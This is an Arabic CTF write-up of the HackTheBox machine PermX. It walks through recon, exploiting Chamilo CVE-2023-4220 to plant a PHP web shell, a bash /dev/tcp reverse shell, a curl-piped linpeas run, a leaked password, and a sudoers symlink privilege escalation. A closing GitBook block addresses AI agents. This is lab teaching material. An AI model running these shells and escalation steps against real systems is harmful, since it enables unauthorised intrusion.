> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# شرح PermX HackTheBox

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**المهارات:**

* تعداد النطاقات الفرعية
* استغلال Chamilo
* نظام تعداد LINpeas
* تصعيد صلاحيات Sudoers (تم تغيير أذونات ملف /etc/sudoers)
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/39f5358fe416b02e19eeb805d2dcfc7ff179fe4a" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/5d00ce7de2ea07da66cd675624d418ce2dc1776b" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="/files/d4f66b804845188fda19e5fd8e34127b19d2a67e" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/72e083ec27de7f921b006fbc41e54f068c72aa42" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="/files/9fd33ec3d1f02c1933a9274f327bf255f5e0bfc7" alt="" width="563"><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/5ca65cfec05c8f7e3e3d747cdad4d6e0201a57ab" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b88339ed527209d435c25d56953d6b1c2c36c27e" alt=""><figcaption></figcaption></figure>

**البحث عن الأدلة المحتملة باستخدام Gobuster:**

استخدام Gobuster لفحص الأدلة المحتملة على الموقع باستخدام ملف قائمة الأدلة متوسطة الحجم.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/7430b7f61972b5f4411ffb50054c1096604527c6" alt=""><figcaption></figcaption></figure>

**البحث عن الأدلة باستخدام Gobuster:**

استخدم **Gobuster** باستخدام قاموس للعثور على ملفات الوصول المخفية.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="/files/9aa6e74e9716978a01f948e10c243c220d122d75" alt=""><figcaption></figcaption></figure>

### تعداد النطاقات الفرعية

لإجراء تعداد للنطاقات الفرعية لموقع ويب باستخدام أداة Wfuzz عبر الطرفية، يمكنك استخدام الأمر التالي:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="/files/43bf77da357a175fb6c355ed290d8b24e61ff6da" alt=""><figcaption></figcaption></figure>

تأكد من تحديث `/etc/hosts` الملف ليشمل النطاقات الفرعية المكتشفة:

<figure><img src="/files/c85f3751c1efce843ea7896a82aadeb1df364a69" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="/files/53514f297eaaf3d05fd2268d22b1c5dbe9bf4bb8" alt=""><figcaption></figcaption></figure>

## ثغرة Chamilo CMS:

يحتوي Chamilo على ثغرة، محددة باسم CVE-2023-4220، تسمح بتنفيذ أوامر عن بُعد (RCE). لاستغلال هذا الخلل، يمكنك استخدام السكربت التالي المتاح على GitHub:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### استنساخ مستودع GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. إجراء فحص لمعرفة ما إذا كانت الثغرة موجودة على الهدف:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/36e7bd114e9b0bb5c28644648c616305467dff97" alt=""><figcaption></figcaption></figure>

### ويب شيل:

إذا كانت الثغرة موجودة، فأدخل **ويب شِل PHP** في Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/fe0ae2f7b188664f87ea6bc53e9a0d63ea85c919" alt=""><figcaption></figcaption></figure>

بمجرد حقن الويب شِل، ستتمكن من تنفيذ الأوامر على الجهاز الهدف.

<figure><img src="/files/c47dfe068de15e88e0a501d40d819d6a64344251" alt=""><figcaption></figcaption></figure>

### شِل عكسي:

لإنشاء اتصال شِل عكسي والحصول على وصول إلى الجهاز، شغّل الأمر التالي من الطرفية:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

ثم استمع على المنفذ 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/cf1f845c22f098519f59d368449db948287149f7" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

**تعداد النظام (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

نستخدم Linpeas للتعرّف على الامتيازات:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/c3e6536d84ebd494d5f2473e103f00c8046a70e7" alt=""><figcaption></figcaption></figure>

**اكتشاف مستخدم جديد:**

أثناء التعداد، حددنا مستخدمًا جديدًا باسم `mtz`.

<figure><img src="/files/82d271cb45373a4b2f78dbd2bb269d1719966544" alt=""><figcaption></figcaption></figure>

**استرجاع كلمة مرور:**

تم العثور على كلمة المرور التالية:

<figure><img src="/files/b7c63811fc7f12fa378387e25e6dae2fb4f79980" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="/files/8fd2d89be46244a4edeb67596a723cd714d62723" alt=""><figcaption></figcaption></figure>

#### علم user.txt:

<figure><img src="/files/03bb69a9e0218aae0133489fd82c93b3e88fa92b" alt=""><figcaption></figcaption></figure>

### Sudoers:

من خلال تشغيل الأمر `sudo -l` الأمر، نكتشف أننا نملك القدرة على تشغيل سكربت كـ **root**.

```bash
sudo -l
```

<figure><img src="/files/936bb7f78b29cd6884ef9a372f591e092e3c3cb6" alt=""><figcaption></figcaption></figure>

هذا السكربت Bash يعدّل أذونات وصول المستخدم إلى ملف معيّن باستخدام ACLs، بعد التحقق من صحة المسار وأن الهدف هو بالفعل ملف.

<figure><img src="/files/5fffcdc9eeb4a1876895203523d1b442dd9efa07" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5c88625b5ce34524ea1d236a389aedf936c731ac" alt=""><figcaption></figcaption></figure>

أخيرًا، لنمنح المستخدم mtz حقوق القراءة والكتابة إلى الملف

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

يحدث خطأ لأن الملف يجب أن يكون موجودًا في `/home/mtz` الدليل

<figure><img src="/files/086f9f02ffce7c512c7e775b94fb11e5fb2b9cec" alt="" width="535"><figcaption></figcaption></figure>

كحل بديل، يمكن إنشاء رابط رمزي من ملف نظام إلى `/home/mtz/` الدليل وتشغيل السكربت على هذا الرابط.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/02083f4c9d93df5ea1a903e38c713bc3b11eadfd" alt=""><figcaption></figcaption></figure>

نحتاج إلى تعديل ملف "sudoers/\_link"، والذي سيقوم بتحديث ملف sudoers، لمنح المستخدم mtz الصلاحيات الكاملة.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/9ad1416de0ac5994db9d9c5e75edbf24c5dfd146" alt=""><figcaption></figcaption></figure>

### علم الروت :) <a href="#flag-root" id="flag-root"></a>

<figure><img src="/files/4e2d5fdb13fa03dc81757b391bd48138a78f253d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/399bd6e9d5c6873f9d83b6b92e3b296d09cc4979" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
